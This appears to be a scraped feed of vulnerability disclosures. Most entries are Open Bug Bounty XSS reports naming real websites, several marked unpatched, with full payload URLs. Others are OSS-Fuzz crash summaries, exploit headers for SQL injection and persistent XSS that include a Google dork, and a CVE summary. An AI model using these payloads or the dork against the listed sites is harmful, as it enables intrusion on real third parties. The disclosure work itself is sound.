seton.de XSS vulnerability

Vulnerable URL: http://www.seton.de/Artikelsuche/?query=%22%3Eblub%3Csvg%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:25 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

moto.bf XSS vulnerability

Vulnerable URL: http://www.moto.bf/?fond=produitproduit=1%22%27%20/Style=position:fixed;top:0;left:0;font-size:999px;%20/Onmouseenter=confirmOPENBUGBOUNTY%20//rubrique=6=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...

act-service.fr XSS vulnerability

Vulnerable URL: http://www.act-service.fr/catalogue/indexrecherche.php?motcle=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14206393 VIP website status:| No Check act-service.fr...

localharvest.org XSS vulnerability

Vulnerable URL: https://www.localharvest.org/accounts/recoverpassword.jsp?rurl=%2Faccounts%2Findex.jsp%22%27--!%3E%3CScript%20/K/%3Econfirm'OPENBUGBOUNTY'%3C/Script%20/K/%3EKNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...

executive-people.nl XSS vulnerability

Vulnerable URL: https://executive-people.nl/dossiers/%22%3E%3Cimg%20src=x%20onerror=prompt'OPENBUGBOUNTY';%3ESecurity Details: Description| Value ---|--- Patched:| Yes, at 16.04.2017 Latest check for patch:| 16.04.2017 12:23 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

ssl.hausundgrund-mietvertrag.de XSS vulnerability

Open Bug Bounty ID: OBB-222714 Description| Value ---|--- Affected Website:| ssl.hausundgrund-mietvertrag.de Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

ice.mpg.de XSS vulnerability

Vulnerable URL: https://www.ice.mpg.de/ext/index.php?id=hopa=hafi2127"';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

videoclub.gr XSS vulnerability

Vulnerable URL: http://www.videoclub.gr/go.asp?do=sendpage=%22/%3E%3CsvG%20onLoad=alert%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2590158 VIP website...

parsdorfcity.de XSS vulnerability

Vulnerable URL: http://www.parsdorfcity.de/search.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3485184 VIP website status:| No Check parsdorfcity.de SSL connection:| Grade: F...

wiener-staatsoper.at XSS vulnerability

Vulnerable URL: http://www.wiener-staatsoper.at/suche/spezielle-suche/?txgdstopsearchlocation=videosgdstopsearchsword=" Details: Description| Value ---|--- Patched:| Yes, at 12.09.2017 Latest check for patch:| 12.09.2017 08:50 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

cosmix.ca XSS vulnerability

Vulnerable URL: http://cosmix.ca/search.php?category=all=5=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=37=33 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

file: Heap-buffer-overflow in cdf_getuint32

Project: https://github.com/file/file.git Detailed report: https://oss-fuzz.com/testcase?key=5570137014927360 Project: file Fuzzer: magicfuzzer Job Type: libfuzzerasanfile Crash Type: Heap-buffer-overflow READ 4 Crash Address: 0x612000000324 Crash State: cdfgetuint32 cdfreadpropertyinfo...

libreoffice: Heap-use-after-free in SvxMSDffManager::SolveSolver

Project: git://anongit.freedesktop.org/libreoffice/core Detailed report: https://oss-fuzz.com/testcase?key=4611189466202112 Project: libreoffice Fuzzer: libFuzzerlibreofficepptfuzzer Fuzz target binary: pptfuzzer Job Type: libfuzzerasanlibreoffice Platform Id: linux Crash Type: Heap-use-after-fre...

kubertschool.edu XSS vulnerability

Vulnerable URL: http://www.kubertschool.edu/gallery.html/"--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1602004 VIP website status:| No Check kubertschool.edu SSL connection:|...

alois-summerer.de XSS vulnerability

Vulnerable URL: http://www.alois-summerer.de/index.php/'"--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check alois-summerer.de...

Kinsey Infor/Lawson / ESBUS - SQL Injection

Exploit Title: Kinsey Infor / Lawson ESBUS - Multiple SQL Injections Date: 3/10/2017 Exploit Author: Michael Benich Vendor homepage: http://www.kinsey.com/infor-lawson.html Version: ALL Tested on: Windows Server 2008 R2; MySQL ver 5.5 CVE: CVE-2017-6550 Kinsey's Infor-Lawson application formerly...

CVE-2016-9720

CVE-2016-9720 affects IBM QRadar SIEM (and Incident Forensics) 7.2.x, where information disclosure allows unauthorized users to access sensitive data. The NVD/IBM entries cite a CVSS v3.0 base score of 5.3 (vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) and a CVSS v2 base score of 5.0. IBM...

freetype2: Crash in TT_Get_MM_Var

Project: https://github.com/freetype/freetype2-testing.git Detailed report: https://oss-fuzz.com/testcase?key=5651695960850432 Project: freetype2 Fuzzer: libFuzzerfreetype2ftfuzzer Fuzz target binary: ftfuzzer Job Type: libfuzzerasanfreetype2 Platform Id: linux Crash Type: UNKNOWN WRITE Crash...

EPSON TMNet WebConfig 1.00 - Cross-Site Scripting

Exploit Title: Persistent XSS in EPSON TMNet WebConfig Ver. 1.00 Google Dork: intitle:"EPSON TMNet WebConfig Ver.1.00" Date: 3/3/2017 Exploit Author: Michael Benich Vendor Homepage: https://www.epson-biz.com/ Software Link: https://c4b.epson-biz.com/modules/community/index.php?contentid=50 Versio...

water2buy.co.uk XSS vulnerability

Open Bug Bounty ID: OBB-216268 Description| Value ---|--- Affected Website:| water2buy.co.uk Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...